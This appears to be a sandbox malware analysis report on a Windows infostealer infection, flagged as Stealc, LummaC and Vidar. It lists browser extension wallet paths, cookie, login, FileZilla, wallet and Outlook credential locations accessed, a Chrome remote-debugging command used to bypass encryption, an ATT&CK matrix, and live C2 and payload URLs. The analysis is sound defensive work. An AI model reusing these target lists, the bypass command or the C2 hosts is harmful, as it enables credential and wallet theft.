Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 0000001E.00000003.2579040846.0000000001453000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2626591631.0000000001449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2570249819.0000000001453000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1714173625.0000000000B6C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2569997895.000000000144B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2526817370.000000000144B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1e42688e0b.exe PID: 7192, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match	File source: 00000021.00000003.2563544731.0000000000B23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2623729686.0000000000B26000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1e1f95e037.exe PID: 8648, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 1e42688e0b.exe PID: 7192, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000001.00000003.1324485561.0000000005460000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1717072391.000000000177E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2530441716.00000000058A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1714173625.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2579317414.0000000000F01000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2586073868.00000000019DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 36030a5366.exe PID: 1008, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6396, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0A0D60 sqlite3_bind_parameter_name,	1_2_6D0A0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0A0C40 sqlite3_bind_zeroblob,	1_2_6D0A0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC8EA0 sqlite3_clear_bindings,	1_2_6CFC8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0A0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	1_2_6D0A0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC6410 bind,WSAGetLastError,	1_2_6CFC6410
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC60B0 listen,WSAGetLastError,	1_2_6CFC60B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC6070 PR_Listen,	1_2_6CFC6070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFCC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	1_2_6CFCC050
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFCC030 sqlite3_bind_parameter_count,	1_2_6CFCC030
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF522D0 sqlite3_bind_blob,	1_2_6CF522D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC63C0 PR_Bind,	1_2_6CFC63C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	21 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	249 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	751 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe	42%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	42%	ReversingLabs	Win32.Trojan.Symmi

Source	Detection	Scanner	Label
https://bridge.sfo1.admarketplace.net/c	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpKw5	100%	Avira URL Cloud	malware
https://cook-rain.sbs/api/?2	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php105001	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpi=	100%	Avira URL Cloud	malware
http://185.215.113.16/off/random.exe7E	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/random.exe?.78-	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/apiof	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php)	100%	Avira URL Cloud	malware
http://185.215.113.16/well/random.exe(	100%	Avira URL Cloud	phishing
http://185.215.113.16/luma/random.exe#	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exe1395d7f	100%	Avira URL Cloud	phishing
http://185.215.113.16/fac00b58987e8fcf7b8c730804042ba5ce902415450#	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)	100%	Avira URL Cloud	malware
http://185.215.113.16/off/random.exeYqKrYrK.(	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.phplm	100%	Avira URL Cloud	malware
http://185.215.113.16/off/random.exe4c61395	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/msvcp140.dllT	100%	Avira URL Cloud	malware
https://msn.comXIDv10	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe	100%	Avira URL Cloud	phishing
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403libgcc_s_dw2-1.dll__register_frame_info__der	0%	Avira URL Cloud	safe
http://185.215.113.16/off/random.exec6ncoded	100%	Avira URL Cloud	phishing
http://185.215.113.16/&	100%	Avira URL Cloud	phishing
http://185.215.113.206rontdesk	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe(	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/random.exeI	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exe1395d7	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/random.exerlencoded	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/F	100%	Avira URL Cloud	malware
http://185.215.113.16/well/random.exer	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/?	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exep	100%	Avira URL Cloud	phishing
http://185.215.113.16/mine/random.exeO	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/apinDf	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
home.fvtejj5vs.top	62.76.234.151	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.184.196	true	false	high
star-mini.c10r.facebook.com	157.240.0.35	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
twitter.com	104.244.42.1	true	false	high
plus.l.google.com	142.250.185.174	true	false	high
cook-rain.sbs	188.114.96.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
dyna.wikimedia.org	185.15.59.224	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
youtube.com	216.58.206.46	true	false	high
youtube-ui.l.google.com	216.58.206.46	true	false	high
play.google.com	142.250.185.206	true	false	high
reddit.map.fastly.net	151.101.65.140	true	false	high
sb.scorecardresearch.com	18.244.18.38	true	false	high
googlehosted.l.googleusercontent.com	216.58.206.33	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
www.reddit.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
www.wikipedia.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://deff.nelreports.net/api/report?cat=msn	false	high
peepburry828.sbs	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
processhol.sbs	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://sb.scorecardresearch.com/b2?rn=1731921959269&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D52F0FB785F6B62058EE5C0797A6A2B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731921959266&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://c.msn.com/c.gif?rnd=1731921959268&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7e39c7eda8ad44118c2aed522a120830&activityId=7e39c7eda8ad44118c2aed522a120830&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=7A97CFA7C07245DEAA7365E5521D87A4&MUID=0D52F0FB785F6B62058EE5C0797A6A2B	false	high
https://play.google.com/log?format=json&hasfast=true	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
http://detectportal.firefox.com/canonical.html	false	high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1739620358.0000000023D33000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000002.2651759984.0000000005979000.00000004.00000800.00020000.00000000.sdmp, KEBKJDBAAKJDGCBFHCFC.1.dr	false		high
